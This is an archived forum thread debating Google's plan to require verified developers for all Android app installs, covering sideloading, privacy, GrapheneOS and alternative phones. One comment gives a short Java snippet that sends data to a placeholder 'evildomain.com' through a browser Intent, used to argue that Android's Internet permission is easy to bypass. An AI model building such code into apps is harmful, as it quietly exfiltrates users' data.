zlacker

Google will allow only apps from verified developers to be installed on Android

submitted by kotaKa+(OP) on 2025-08-25 18:18:18 | 3050 points 2271 comments
[view article] [source] [go to bottom]

Also https://techcrunch.com/2025/08/25/google-will-require-develo... (from merged thread)

Official announcement 1: https://android-developers.googleblog.com/2025/08/elevating-...

Official announcement 2: https://developer.android.com/developer-verification

Play Console Help: https://support.google.com/googleplay/android-developer/answ...


NOTE: showing posts with links only show all posts
◧◩◪
4. ohdear+o9[view] [source] [discussion] 2025-08-25 19:00:34
>>jajuuk+j8
The only promises on the announcement are:

> Verify your identity

> * You will need to provide and verify your personal details, like your legal name, address, email address, and phone number. > * If you're registering as an organization, you'll also need to provide a D-U-N-S number and verify your organization's website. > * You may also need to upload official government ID.

Only one of those three applies to organizations.

>A note for student and hobbyist developers: we know your needs are different from commercial developers, so we’re creating a separate type of Android Developer Console account for you.

Nothing about it says anything about having lighter requirements, just not going through a Play Console link. Even if the requirements end up being "lighter", the minimum will always be at least "link a Google account", which is already a massive privacy breach.

> It also doesn't prevent you from side loading.

It absolutely does. Quoting from Google:

>Starting next year, Android will require all apps to be registered by verified developers in order to be installed by users on certified Android devices.

certified Android devices being... 99.9% of all Android devices in existence.

https://android-developers.googleblog.com/2025/08/elevating-...

10. antilo+uj[view] [source] 2025-08-25 19:54:35
>>kotaKa+(OP)
Why even run Android at that point anymore? iOS devices get security updates for longer and have much less data collection than stock Android.

GrapheneOS won't survive the next generation of devices because bootloader unlocking will also go away (>>44765939 ), and without kernel security updates that OS can't continue.

Now there's also no more sideloading, so what purpose does Android even serve anymore?

◧◩
12. gruez+Zj[view] [source] [discussion] 2025-08-25 19:57:23
>>malkia+5j
Taking the article at face value, they'll have to register with google and have their apps be signed. Presumably this is subject to less review than the play store (eg. you don't have to justify your permissions list or whatever[1]), but there's no guarantees that developers will bother with the hassle. A lot of developers are willing to put some release up on github, but not dox themselves to google.

[1] >>41895718

◧◩
13. gruez+4k[view] [source] [discussion] 2025-08-25 19:58:21
>>antilo+uj
>GrapheneOS won't survive the next generation of devices because bootloader unlocking will also go away (>>44765939 ), and without kernel security updates that OS can't continue.

The comment in the thread you linked directly contradicts the claim that "bootloader unlocking will also go away".

15. 876368+tk[view] [source] 2025-08-25 20:01:04
>>kotaKa+(OP)
Official announcement: https://android-developers.googleblog.com/2025/08/elevating-...

More info:

https://developer.android.com/developer-verification

https://support.google.com/googleplay/android-developer/answ...

Personally...we all know the Play Store is chock full of malicious garbage, so the verification requirements there don't do jack to protect users. The way I see it, this is nothing but a power grab, a way for Google to kill apps like Revanced for good. They'll just find some bullshit reason to suspend your developer account if you do something they don't like.

Every time I hear mentions of "safety" from the folks at Google, I'm reminded that there's a hidden Internet permission on Android that can neuter 95% of malicious apps. But it's hidden, apparently because keeping users from using it to block ads on apps is of greater concern to Google than keeping people safe.

> we will be confirming who the developer is, not reviewing the content of their app or where it came from

This is such an odd statement. I mean, surely they have to be willing to review the contents of apps at some point (if only to suspend the accounts of developers who are actually producing malware), or else this whole affair does nothing but introduce friction.

TFA had me believing that bypassing the restriction might've been possible by disabling Play Protect, but that doesn't seem to be the case since there aren't any mentions of it in the official info we've been given.

On the flip side, that's one less platform I care about supporting with my projects. We're down to just Linux and Windows if you're not willing to sell your soul (no, I will not be making a Google account) just for the right to develop for a certain platform.

37. _benj+Gp[view] [source] 2025-08-25 20:30:56
>>kotaKa+(OP)
It seems that it was only about time… it just feels like the pace of enshittification with big tech being able to get away with anything is crazy!

I’m hoping that projects like Precursor can take off because we’ve buried ourselves in such mountain of complexity that seems like only a billion/trillion dollar big tech company can make an OS.

But then again, some body called BS on browsers and we might have a good option soon in Ladybug!

https://www.crowdsupply.com/sutajio-kosagi/precursor

42. ChrisA+7q[view] [source] 2025-08-25 20:33:52
>>kotaKa+(OP)
Source: https://android-developers.googleblog.com/2025/08/elevating-... (>>45016602 )
◧◩◪
51. 876368+mr[view] [source] [discussion] 2025-08-25 20:41:53
>>baby_s+Aq
"Hidden" isn't exactly right. It's completely inaccessible, unless you use a custom ROM like LineageOS. But it is a real permission:

https://developer.android.com/develop/connectivity/network-o...

67. Ms-J+Mt[view] [source] 2025-08-25 20:54:59
>>kotaKa+(OP)
This is the worst thing to happen to technology in recent times since there is only two major phone OS's.

It isn't possible to ban encryption, so the governments have to chip away at security and privacy using these techniques.

From: https://developer.android.com/developer-verification

"You may also need to upload official government ID."

This won't end well for Google or the governments involved when the people get so angry that they are forced to roll this back. Switch to an alternative phone OS.

82. EMIREL+wv[view] [source] 2025-08-25 21:03:56
>>kotaKa+(OP)
Holy shit, going to the official page[1], there's something that is somehow even worse than the loss of freedom:

"You'll need to prove you own your apps by providing your app package name and app signing keys."

That is capital-I Insane.

[1] https://developer.android.com/developer-verification

◧◩◪
103. GeekyB+Yw[view] [source] [discussion] 2025-08-25 21:10:29
>>james2+Uu
> Wasn’t Apple the one actually caught throttling devices with an update to slow phones down under the guise of "saving battery"?

Nope. There was an issue in iPhones and Nexus phones that had been used for a few years where a worn battery could no longer maintain a voltage high enough to meet instantaneous SOC power demand, resulting in unexpected device shut downs.

Apple got the device to quit shutting off without warning by throttling older devices and Google did nothing and just told users to buy a new device.

They both got sued, and both lost.

> If you currently or formerly owned a Google Nexus 6P smartphone, we have some good news: you might be eligible for a cash rebate for those bootloops and spontaneous shutdowns the device was known for.

https://www.androidauthority.com/nexus-6p-lawsuit-2019-97547...

◧◩
113. HelloI+Nx[view] [source] [discussion] 2025-08-25 21:15:03
>>JustEx+Cu
But this is for apps outside the Play store, so the DSA isn’t at play here insofar as Google needs to be concerned. I don’t think there’s any solid decision on whether third-party app distribution is subject to the trader requirements, but if/when there is, it’d presumably be on the alternative distribution platform to enforce, not Google. Plus, Google already adjusted its policies to comply with the DSA.

For the record, Apple notes that the DSA requirements only impact developers distributing through the App Store, not through alternative distribution [1].

[1]: https://developer.apple.com/help/app-store-connect/manage-co...

139. neilv+4A[view] [source] 2025-08-25 21:29:46
>>kotaKa+(OP)
(Responding to https://techcrunch.com/2025/08/25/google-will-require-develo... )

> Starting next year, Google will begin to verify the identities of developers distributing their apps on Android devices, not just those who distribute via the Play Store.

Odd little phrase, "distributing their apps on Android devices".

I think "distributing" in this context is in the sense of product distribution, not in the sense of distributed systems.

But "distributing...on" sounds a little odd, like Google is still providing a distribution service. (Contrary to all the precedent of how we've thought of installing software, other than the proprietary, captive-user app stores.)

And so, maybe "distributing...on" makes it sound more like Google is (once again) entitled to gatekeep what you can run on your device/computer.

> However, developers who appreciated the anonymity of alternative distribution methods will no longer have that option. Google says this will help to cut down on bad actors who hide their identity to distribute malware, commit financial fraud, or steal users’ personal data.

Maybe it's not "developers who appreciated the anonymity" (which we immediately try to conflate with bad actors), but that the whole point lately has been to stop the greedy proprietary lock-in app store monopolies, and not have them gatekeeping what everyone else can do.

◧◩◪◨⬒
147. Zak+EA[view] [source] [discussion] 2025-08-25 21:32:55
>>myster+sz
When Microsoft first proposed a remote attestation scheme for PCs under the name Palladium, it was widely seen as a nightmare scenario. Even the mainstream press was critical[0]. There was barely a whimper when Google introduced Safetynet a decade later.

It wasn't OK in 2003. It wasn't OK in 2014. It isn't OK now. I'm just not sure what anybody can do about it.

[0] https://www.nytimes.com/2003/06/30/business/technology-a-saf...

163. pentag+eC[view] [source] 2025-08-25 21:42:51
>>kotaKa+(OP)
This means that for example I will not be able to side load Popcorn Time for Android [1] anymore?

[1] https://github.com/popcorn-official/popcorn-android

◧◩
177. foobar+5D[view] [source] [discussion] 2025-08-25 21:48:11
>>rkager+DA
Vollo from German is one https://volla.online/. They sell a nice set of devices that run either a custom Android or Ubuntu Touch. Their custom Android has a nice bunch of UI and privacy features.

Fairphone from the Netherlands is another https://www.fairphone.com/

◧◩◪◨
179. eravil+bD[view] [source] [discussion] 2025-08-25 21:48:47
>>anonym+Zw
https://www.bunniestudios.com/blog/2020/introducing-precurso... This is the most secure phone that has been made recently.
◧◩◪
183. foobar+qD[view] [source] [discussion] 2025-08-25 21:49:52
>>foobar+5D
The Linux Experiment podcast has a nice review of the Vollo phone https://www.youtube.com/watch?v=Dh-rIxrGXFU
◧◩◪
199. emidoo+pE[view] [source] [discussion] 2025-08-25 21:54:11
>>miloig+aC
Side note, I read that GrapheneOS project is having some challenges recently.. between [0]the Android kernel drivers no longer having their Git history of changes being released (only a code dump with no history) - and [1]one of Graphene's two core contributors being detained/conscripted into a war.

[0] https://grapheneos.social/@GrapheneOS/114665558894105287

[1] https://grapheneos.social/@GrapheneOS/114359660453627718

◧◩◪◨
234. miloig+9G[view] [source] [discussion] 2025-08-25 22:03:07
>>petral+vD
My banking app works fine on GrapheneOS. There is a crowd-sourced list here with current status for many of them: https://privsec.dev/posts/android/banking-applications-compa...
238. nullc+fG[view] [source] 2025-08-25 22:03:33
>>kotaKa+(OP)
https://www.gnu.org/philosophy/right-to-read.en.html
264. r1ch+EH[view] [source] 2025-08-25 22:12:22
>>kotaKa+(OP)
This is the same direction that Microsoft is taking Windows. Smart App Control is already rolling out to some regions - no .exe will run without a code signing certificate.

https://learn.microsoft.com/en-us/windows/apps/develop/smart...

◧◩◪◨⬒
271. anonym+bI[view] [source] [discussion] 2025-08-25 22:15:50
>>eravil+bD
Neat concept.

For anyone else failing to resolve DNS for that domain: https://archive.is/q7w0x

287. echelo+4J[view] [source] 2025-08-25 22:20:27
>>kotaKa+(OP)
When people say just use Linux I can only think of what was known as far back as 2014.

> NSA: Linux Journal is an "extremist forum" and its readers get flagged for extra surveillance [0]

Looks like this is a part of the move toward Chat Control and ending E2E encryption.

[0] https://www.linuxjournal.com/content/nsa-linux-journal-extre...

289. zmmmmm+9J[view] [source] 2025-08-25 22:21:01
>>kotaKa+(OP)
The worst part is the Orwellian opening sentence they start with in their blog post [0]:

> You shouldn’t have to choose between open and secure

2+2=5

Truly the end of an era. I've spent nearly two decades buying Android phones because of a single checkbox in settings that let me have the freedom I consider essential to any computing device that I own.

In a way, it's liberating, I've missed out on a lot from the Apple ecosystem because of that checkbox. Maybe finally I can let go of it now the choice is out of my hands.

[0] https://android-developers.googleblog.com/2025/08/elevating-...

◧◩◪◨
298. UncleM+CJ[view] [source] [discussion] 2025-08-25 22:23:12
>>876368+xz
> I've heard claims that the Internet permission is flawed, yes, but I've never managed to find even a single PoC bypassing it.

   Uri uri = Uri.parse("https://evildomain.com/upload?data=DATA_GOES_HERE);
   Intent i = new Intent(Intent.ACTION_VIEW, uri);
   startActivity(i);
Happily uses the browser app to do the data send for you. Requiring apps to have all the permissions of the recipient of an Intent before being allowed to send it would be a catastrophic change to the ecosystem.
◧◩◪◨
320. GeekyB+pK[view] [source] [discussion] 2025-08-25 22:27:49
>>tgsovl+wz
The Nexus 6P had the same issue with random shutdowns, and although Google refused to do anything about it some users on XDA developed a patch that disabled all the performance cores completely.

> XDA user XCnathan32, along with assistance from two other users, created the fix and put it up for anyone to give it a whirl. Without getting too technical, the fix shuts down all four of the Nexus 6P octa-core Snapdragon 810 processor’s performance cores that seemingly prevent the phone from properly booting

https://www.androidauthority.com/nexus-6p-bootloop-fix-78930...

◧◩◪◨
358. GuB-42+6M[view] [source] [discussion] 2025-08-25 22:39:21
>>876368+xz
> I've never managed to find even a single PoC bypassing it

Because it is obvious. Just open a web browser.

More details here: https://old.reddit.com/r/androiddev/comments/ci4tdq/were_on_...

◧◩
370. merely+GM[view] [source] [discussion] 2025-08-25 22:42:40
>>kykat+io
In practice we see the reverse and GPL projects being rewritten as more permissive.

The busybox/toybox case looks especially relevant and interesting:

> In January 2012 the proposal of creating a BSD license alternative to the GPL licensed BusyBox project drew harsh criticism (…). Rob Landley, who had started the BusyBox-based lawsuits, responded that this was intentional, explaining that the lawsuits had not benefited the project but that they had led to corporate avoidance, expressing a desire to stop the lawsuits "in whatever way I see fit".

source: https://en.m.wikipedia.org/wiki/Toybox

◧◩◪◨
377. anticr+WM[view] [source] [discussion] 2025-08-25 22:44:46
>>petral+vD
Most banking app work, either directly or with a settings change to allow Google Play Service emulation. [1]

[1] https://grapheneos.org/usage#banking-apps

◧◩
394. cesarb+3O[view] [source] [discussion] 2025-08-25 22:53:07
>>seanw4+1K
> There's no reason a competitive Linux-based smartphone can't exist

There is; it's the "phone" part of "smartphone". Being a phone makes the device subject to a lot more requirements (for an obvious example, emergency dialing must always be available and work, and at the same time the phone must never accidentally dial the emergency number).

In my country, only cell phones certified by the government telecommunications agency (Anatel) can be imported, so I can't for instance go to the Jolla or PinePhone store and buy a Linux-based smartphone; if I tried, it would be sent back the moment the package entered the country. (See https://www.gov.br/anatel/pt-br/regulado/certificacao-de-pro... for details.)

◧◩
396. Algebr+fO[view] [source] [discussion] 2025-08-25 22:54:24
>>falcor+HL
CalyxOS is already dead. GrapheneOS is the only hope.

https://calyxos.org/news/2025/08/01/a-letter-to-our-communit...

◧◩
403. Y_Y+AO[view] [source] [discussion] 2025-08-25 22:56:18
>>polyte+QL
https://en.wikipedia.org/wiki/HarmonyOS

It does have an Android subsystem stuck on, but it's not necessary.

◧◩◪◨
412. wishfi+gP[view] [source] [discussion] 2025-08-25 23:01:07
>>anonym+Zw
I've been keeping an eye on FuriLabs (Furiphone). They maintain FuriOS - Debian with an Android kernel. Has a container for running Android apps. Price is reasonable though I don't know how it'll be affected by tariffs in the US. It's tempting.

https://furilabs.com/shop/flx1/

415. coasta+oP[view] [source] 2025-08-25 23:01:30
>>kotaKa+(OP)
From the announcement

> our recent analysis found over 50 times more malware from internet-sideloaded sources than on apps available through Google Play.

I will believe this when we stop seeing brazen malware in marquee app store apps, e.g. https://www.tracesecurity.com/blog/articles/meta-pixel-and-t...

◧◩◪◨
428. crvdgc+mQ[view] [source] [discussion] 2025-08-25 23:08:18
>>ffsm8+Kx
A recent real life example:

You can apply for an HSBC Global Money Account if you have: […] The HSBC UK Mobile Banking app (Global Money is only available via the app)

From https://www.hsbc.co.uk/current-accounts/products/global-mone...

◧◩◪
435. tremon+HQ[view] [source] [discussion] 2025-08-25 23:10:10
>>foobar+5D
Another one is https://murena.com/ which (IIRC) is based in France. They don't have their own hardware though, they sell partner phones with their ROM preinstalled.
◧◩◪◨
449. sorryt+BR[view] [source] [discussion] 2025-08-25 23:15:49
>>goda90+dx
Looks like they can avoid these restrictions:

https://grapheneos.social/@GrapheneOS/115090818389369737

> "GrapheneOS doesn't include Google Mobile Services and the requirements for certification aren't relevant to us."

460. AlienR+nS[view] [source] 2025-08-25 23:20:47
>>kotaKa+(OP)
Relevant as always: https://youtu.be/ntICHMV-WMA?t=38
◧◩
468. derbOa+NS[view] [source] [discussion] 2025-08-25 23:22:44
>>polyte+QL
https://puri.sm/products/
493. grizzl+1U[view] [source] 2025-08-25 23:33:08
>>kotaKa+(OP)
This must be because of Epic's win in antitrust court.

What someone needs to do is create a "Store" browser that loads apps from random websites like https://site.tld/app.apk

You could manually parse AndroidManifest.xml and allow only apps that expose <uses-permission android:name="android.permission.INTERNET" />

I'm somewhat interested in doing this myself actually. What do people think?

◧◩
501. dhx+oU[view] [source] [discussion] 2025-08-25 23:37:05
>>wvenab+0I
As an example of government regulation driving this change, see [1].

This regulation of NSW, Australia considers rooted devices with extra non-Google/non-Apple approved security features such as a duress/wipe PIN (a standard feature of GrapheneOS[2]) as a "dedicated encrypted criminal communication device". How the device is being used doesn't matter. It's how it _could_ be used.

[1] https://classic.austlii.edu.au/au/legis/nsw/consol_act/ca190...

[2] https://grapheneos.org/features#duress

◧◩◪◨⬒
506. stockr+FU[view] [source] [discussion] 2025-08-25 23:39:01
>>glenst+oT
fdroid is based in the EU and the Cyber Resilience Act was already going to force them to either make their filters more strict (absolutely prohibit anything with any sort of "monetization"), or start collecting this data.

If they have anything on the platform that is subject to the CRA, they are a distributer:

https://www.cyberresilienceact.eu/cra-guide-for-importers-di...

◧◩◪◨⬒
513. int_19+6V[view] [source] [discussion] 2025-08-25 23:44:10
>>eravil+bD
Per their spec sheet it doesn't have cellular connectivity, so it's not actually a phone.

And if what you want is a PDA that runs Linux, there are many options, e.g. https://www.clockworkpi.com/home-uconsole.

◧◩◪
516. jadams+iV[view] [source] [discussion] 2025-08-25 23:46:37
>>fluori+nU
If your app is monetized, the contact details of your "business" are shown in the play store. For many smaller developers, this will just be their home address.

https://support.google.com/googleplay/android-developer/thre...

522. Borgz+zV[view] [source] 2025-08-25 23:49:20
>>kotaKa+(OP)
Looks like Google will also be limiting each developer's number of apps and installations unless you pay them $25. https://developer.android.com/developer-verification/guides/...
528. sneak+2W[view] [source] 2025-08-25 23:55:25
>>kotaKa+(OP)
Stallman warned us.

https://www.gnu.org/philosophy/right-to-read.en.html

◧◩◪
541. int_19+FW[view] [source] [discussion] 2025-08-26 00:00:57
>>Crimso+rO
Phones are hard because of certification requirements.

PDAs, now... have a look at https://www.clockworkpi.com/home-uconsole

◧◩◪◨⬒
576. panny+zZ[view] [source] [discussion] 2025-08-26 00:27:58
>>storus+RD
I have an Xperia 10 III, but it's running AOSP I built myself.

https://developer.sony.com/open-source/aosp-on-xperia-open-d...

Basically none of this new restriction will bother me, since I don't run anything but stock AOSP and get all my apps from f-droid repos.

585. haught+401[view] [source] 2025-08-26 00:32:46
>>kotaKa+(OP)
One step closer to The Right to Read: https://www.gnu.org/philosophy/right-to-read.html
◧◩◪
597. evanel+J01[view] [source] [discussion] 2025-08-26 00:40:33
>>tensor+hZ
They greatly improved the situation over the past couple years. Azure Trusted Signing is only $10/month and provides cloud-based signing.

It's a huge pain to set up initially, but it's smooth sailing after that. There's a good tutorial at https://melatonin.dev/blog/code-signing-on-windows-with-azur...

◧◩◪
598. JimDab+L01[view] [source] [discussion] 2025-08-26 00:40:56
>>jajuuk+PD
They trialled this in Singapore and I’ve been telling people on Hacker News that it’s been going to happen for a while:

> Singapore Android users to be blocked from installing certain unverified apps as part of anti-scam trial (07 Feb 2024)

https://www.channelnewsasia.com/singapore/google-android-dev...

It makes total sense to the average person. There has been a constant stream of “yet another Android user got scammed out of their life savings because of Android side loading; iPhone users not affected”

It’s an inconvenient fact for power users, but side loading makes users significantly more vulnerable to scams and restricting side loading is both a predictable and reasonable response to that fact.

If you don’t like this, you need a better argument than “my desire to run any app I want is more important than pensioners losing their life savings” because that is not a winning argument with the average person, with governments, or with Google/Apple.

>>44194034

> As I’ve mentioned here before, sideloading is a genuine security concern, not merely an excuse for Apple to exert control. There is a never-ending stream of people losing their life savings. It happens on Android and not iOS because Android allows sideloading and iOS doesn’t. There is a very real human cost to this.

> Police warn new Android malware scam can factory reset phones; over S$10 million lost in first half of 2023

> There have been more than 750 cases of victims downloading the malware into their phones in the first half of 2023, with losses of at least S$10 million (US$7.3 million).

https://www.channelnewsasia.com/singapore/android-malware-sc...

> DBS, UOB become latest banks to restrict access if unverified apps are found on customers' phones

> They are the latest banks in Singapore to do so – after OCBC and Citibank – amid a spate of malware scams targeting users of Android devices.

https://www.channelnewsasia.com/singapore/dbs-uob-anti-scam-...

> 74-year-old man loses $70k after downloading third-party app to buy Peking duck

> “I couldn’t believe the news. I thought: Why am I so stupid? I was so angry at myself for being cheated of my life savings. My family is frustrated and I ended up quarrelling with my wife,” said Mr Loh, who has three children.

https://www.straitstimes.com/singapore/74-year-old-man-loses...

> Singapore Android users to be blocked from installing certain unverified apps as part of anti-scam trial

> "Based on our analysis of major fraud malware families that exploit these sensitive runtime permissions, we found that over 95 per cent of installations came from internet-sideloading sources," it added.

https://www.channelnewsasia.com/business/anduril-secures-305...

> CNA Explains: Are Android devices more prone to malware and how do you protect yourself from scams?

> Why are scammers more likely to target Android users? How do you spot a fake app and what should you do if your device is infected by malware?

https://www.channelnewsasia.com/singapore/android-malware-sc...

> Nearly 2,000 victims fell for Android malware scams, at least S$34.1 million lost in 2023

> In 2023, about 1,899 cases of Android malware scams were reported in Singapore. The average amount lost was about S$17,960.

https://www.channelnewsasia.com/singapore/android-malware-sc...

> Android users in Singapore tried to install unverified apps nearly 900,000 times in past 6 months

> These attempts were blocked by a security feature rolled out by Google six months ago as part of a trial to better protect users against malware scams, which led to at least S$34.1 million (US$25.8 million) in losses last year with about 1,900 cases reported.

https://www.channelnewsasia.com/singapore/android-users-inst...

604. xvilka+811[view] [source] 2025-08-26 00:44:37
>>kotaKa+(OP)
Time to donate to GrapheneOS[1] and alternatives[2]. Or contribute [3].

[1] https://grapheneos.org/donate

[2] https://members.calyxinstitute.org/donate

[3] https://grapheneos.org/hiring

◧◩◪
615. nicce+C11[view] [source] [discussion] 2025-08-26 00:49:09
>>rpdill+vU
Maybe it is time to try Jolla as next phone:

https://jolla.com/

◧◩◪◨⬒⬓
648. grumpl+W31[view] [source] [discussion] 2025-08-26 01:09:39
>>waters+WS
It does if you have an org account: https://developer.apple.com/programs/enroll/
◧◩◪
676. skybri+X51[view] [source] [discussion] 2025-08-26 01:29:44
>>EasyMa+x31
This is a drastic response, but they didn't make up the security threat. Attackers convincing users to side-load malware is a thing.

https://www.bitdefender.com/en-us/blog/hotforsecurity/hacker...

687. tonyha+L61[view] [source] 2025-08-26 01:36:23
>>kotaKa+(OP)
wow that rather fast [https://ibb.co.com/8LF8qdxm]

I already got popup in dashboard this morning

◧◩◪◨
693. dogcom+m71[view] [source] [discussion] 2025-08-26 01:42:42
>>kelnos+j11
For those watching this stuff, there are two other promising paths using ZK-proofs which might disarm the tradeoff situation we've been stuck in. Banking apps etc aren't willing to eat the liability of devices that are rooted or running alternate OSes, and Google's been banking on the exclusivity that brings from being both hardware and security provider.

Path 1: a ZK-proof attestation certificate marketplace implemented by GrapheneOS (or similar) to prove safety in a privacy-securing way enough for 3rd party liability insurance markets to buy in. Banks etc can be indifferent, and wouldn't ignore the market if it got big enough. This would mean we could root any device with aggressive hacking and then apologize for it with ZK-proof certs that prove it's still in good hands - and banking apps don't need to care. No need for hard chains of custody like the Google security model.

Path 2: Don't even worry too hard about 3rd party devices or full OSes, we just need to make the option viable enough to shame Google into adopting the same ZK certificate schemes defensively. If they're reading all user data through ZK-proof certs instead of just downloading EVERYTHING then they're significantly neutered as a Big Brother force and for once we're able to actually trust them. They'd still have app marketplace centrality, but if and when phones are being subdivided with ZK-proof security it would make 3rd party monitoring of the dynamics of how those decisions get made very public (we'd see the same things google sees), so we could similarly shame them via alternatives into adopting reasonable default behaviors. Similar to Linux/Windows - Windows woulda been a lot more evil without the alternative next door.

Longer discussion (opinion not sourced from AI though): https://chatgpt.com/share/68ad1084-eb74-8003-8f10-ca324b5ea8...

◧◩◪◨
694. ahdang+t71[view] [source] [discussion] 2025-08-26 01:44:29
>>anonym+Zw
I really wanted to like Librem and almost bought a phone until I saw this video by Louis Rossmann: https://youtu.be/wKegmu0V75s?si=NzevsJgHD188bRkT
◧◩◪◨
720. ycombi+l91[view] [source] [discussion] 2025-08-26 02:03:06
>>amlib+B71
https://github.com/Genymobile/scrcpy
◧◩◪
721. rkager+p91[view] [source] [discussion] 2025-08-26 02:03:57
>>miloig+aC
How is GrapheneOS / SeedVault looking these days in terms of being able to capture reliable backups and restore them to another device (without using the cloud)?

I gather the introduction of the android:allowBackup="false" manifest flag complicated things somewhat... I thought I read since then that a Device-to-Device (D2D) impersonation mode was implemented, and would love to hear if that helped?

(I posted a couple years ago about this topic, admittedly it was a bit ranty: >>37774254 )

◧◩◪◨⬒
726. meltyn+B91[view] [source] [discussion] 2025-08-26 02:05:49
>>bandra+141
I mean, you don't really have to speculate about what this is for, it's for an authority providing for lawful search, it seems pretty well-scoped, and similar to any old search warrant, which is not a new thing, really https://classic.austlii.edu.au/au/legis/nsw/consol_act/deccd...

Basically, they're not really setting up for a blanket ban on personal security features, that interpretation is obviously catastrophizing. Not that there aren't hamfisted laws somewhere like this, but NSWs implementation seems OK I guess

◧◩◪◨⬒
735. swat53+ba1[view] [source] [discussion] 2025-08-26 02:09:52
>>bithaz+1P
Nope, it has been removed. Also God help you if want to run something that needs system extensions..

You will need to boot to recovery mode, go through utility and enable it: https://support.apple.com/en-ca/guide/mac-help/mchl768f7291/...

Basically average users will never be able to pull this off.

◧◩◪◨
744. Kim_Br+Ma1[view] [source] [discussion] 2025-08-26 02:15:44
>>askafr+a81
Oh! Classic Survivorship bias. You're only looking at the devs who went into business in the phone ecosystem in the first place. I'm thinking that they're there despite the barriers to entry ('shenanigans'), and the ones you encounter happen to be those who happen to place a higher value on 'other values'. As the ecosystem gets locked down more, this effect becomes stronger.

Meanwhile, you're not looking at those who left, or those who decided to never enter a broken market dominated by players convicted of monopolistic practices.

This seems much more intuitive than a hypothesis where somehow people would prefer to enter a closed market over a fair and open market with no barriers to entry.

Remember, monopolists succeed because they are distorting the market, not because they are in fact the most efficient competitor.

* https://en.wikipedia.org/wiki/Survivorship_bias

◧◩◪◨
761. pabs3+qc1[view] [source] [discussion] 2025-08-26 02:29:48
>>sanex+8D
That would mean they are committing copyright violation of the Linux kernel. So they could be sued by Linux kernel folks, or by users of the devices.

https://sfconservancy.org/copyleft-compliance/vizio.html https://sfconservancy.org/blog/2021/mar/25/install-gplv2/ https://sfconservancy.org/blog/2021/jul/23/tivoization-and-t... https://events19.linuxfoundation.org/wp-content/uploads/2017...

◧◩◪◨⬒
766. pabs3+Rd1[view] [source] [discussion] 2025-08-26 02:45:22
>>Middle+081
There are alternatives, using them involves sacrifices though, and there the modem baseband isn't replaceable yet. Take a look at GrapheneOS, F-Droid, Replicant, Purism Librem, PinePhone, PostmarketOS, PureOS, Mobian etc.

https://wiki.debian.org/Mobile

◧◩◪◨
775. sapphi+Qe1[view] [source] [discussion] 2025-08-26 02:57:26
>>rchaud+r81
I've never done it but

"Many other devices are supported by GrapheneOS at a source level, and it can be built for them without modifications to the existing GrapheneOS source tree."

https://grapheneos.org/faq#supported-devices

◧◩◪◨
785. lazyco+0g1[view] [source] [discussion] 2025-08-26 03:10:22
>>gaudys+y31
Last I checked, Microsoft was trying to get rid of it.

https://www.tomshardware.com/software/windows/microsoft-elim...

It's still possible to set up using only a local account, but who knows for how long.

795. medhir+Lg1[view] [source] 2025-08-26 03:18:33
>>kotaKa+(OP)
Every day we stray farther from the premise that we should be allowed to install / modify software on the computers we own.

Will once again re-up the concept of a “right to root access”, to prevent big corps from pulling this bs over and over again: https://medhir.com/blog/right-to-root-access

◧◩◪◨
812. jaza+wh1[view] [source] [discussion] 2025-08-26 03:28:55
>>pier25+pU
iOS market share: 56% in Australia (where I live) [1]; 58% in United States [2]; 47% in UK [3]; 64% in Japan [4]; 60% in Canada [5]; 55% in Denmark [6]; 54% in Switzerland [7]; 55% in Sweden [8].

Yes, I've cherry picked from the minority of countries with near or over half iOS market share. But, they're all high GDP countries with a very valuable customer base. Apple and Google care about these markets, they don't care about global market share.

[1] https://gs.statcounter.com/os-market-share/mobile/australia [2] https://gs.statcounter.com/os-market-share/mobile/united-sta... [3] https://gs.statcounter.com/vendor-market-share/mobile/united... [4] https://gs.statcounter.com/os-market-share/mobile/japan [5] https://gs.statcounter.com/vendor-market-share/mobile/canada [6] https://gs.statcounter.com/os-market-share/mobile/denmark [7] https://gs.statcounter.com/os-market-share/mobile/switzerlan... [8] https://gs.statcounter.com/os-market-share/mobile/sweden

816. rkapso+Kh1[view] [source] 2025-08-26 03:31:26
>>kotaKa+(OP)
This seems equivalent to Notarization on macOS. https://developer.apple.com/documentation/security/notarizin...
◧◩
838. itake+rj1[view] [source] [discussion] 2025-08-26 03:51:28
>>ricudi+oi1
Private app companies should be and are doing more to protect against malware.

Banking apps in Malaysia are required to include malware detection software [0]. Companies should have better fraud and trust teams to identity and block fraud activities.

The rest of the world shouldn't suffer because a handful of banking companies refuse to offer basic fraud protections for their users.

[0] - https://www.abm.org.my/press-releases/banks-to-enable-malwar...

◧◩◪◨⬒
845. JimDab+Lj1[view] [source] [discussion] 2025-08-26 03:55:00
>>klabb3+ph1
Oh, thanks for pointing that out. I copied and pasted from my previous comment here:

>>44194034

I didn’t notice that Hacker News had truncated the URLs for display. You can get to the articles by following the links in the original comment.

> You are aware that it's not the app store that protects you, but the sandboxing?

Both protect you.

> Are these impersonation vectors, ie phishing?

It’s a variety of things. Some use accessibility hooks to act as key loggers. Some seem to use exploits. Some are phishing by impersonating other apps.

◧◩◪◨⬒⬓
905. kllrno+bo1[view] [source] [discussion] 2025-08-26 04:46:52
>>ycombi+n21
> The internet permission is the only regular manifest permission you can't toggle in the settings.

That's not even a little bit true? There's a ton of 'normal' permissions, almost none of which are user-overrideable. Like, say, android.permission.VIBRATE. Or android.permission.GET_PACKAGE_SIZE. Android has an obscene number of permissions ( https://developer.android.com/reference/android/Manifest.per... ) and almost none of them have a UI to control them nor any ability to be rejected

> It is an obvious win for an advertising/surveillance company like Google. What is wack about it?

How, exactly? How does Google benefit from random 3p apps having Internet access? And remember, Google has play services on every device to proxy anything it needs/wants.

◧◩◪◨⬒⬓
906. alexvi+eo1[view] [source] [discussion] 2025-08-26 04:47:46
>>Anthon+Im1
Too bad there is one.

https://en.wikipedia.org/wiki/Digital_Millennium_Copyright_A...

◧◩◪◨
933. aspenm+7q1[view] [source] [discussion] 2025-08-26 05:11:48
>>apitma+ym1
No matter what runlevel you’re on, judges are lower still.

https://en.wikipedia.org/wiki/Runlevel

◧◩◪◨
945. somena+Wq1[view] [source] [discussion] 2025-08-26 05:20:16
>>_def+gm1
We have! The only problem is a very limited amount of legal decisions accidentally paved the way for a massive dystopia. In particular, the first sale doctrine [1] solves everything immediately.

The courts assumed good faith with a licensing exception, and maybe it was. But that opened the door to essentially completely dismantle the first-sale doctrine. Get rid of that loophole and all this stupidity ends, immediately. Well that and the DMCA. Once you buy something, it's yours to do whatever you want to do with it short of replicating it for commercial benefit.

[1] - https://en.wikipedia.org/wiki/First-sale_doctrine

976. RainyD+gt1[view] [source] 2025-08-26 05:43:10
>>kotaKa+(OP)
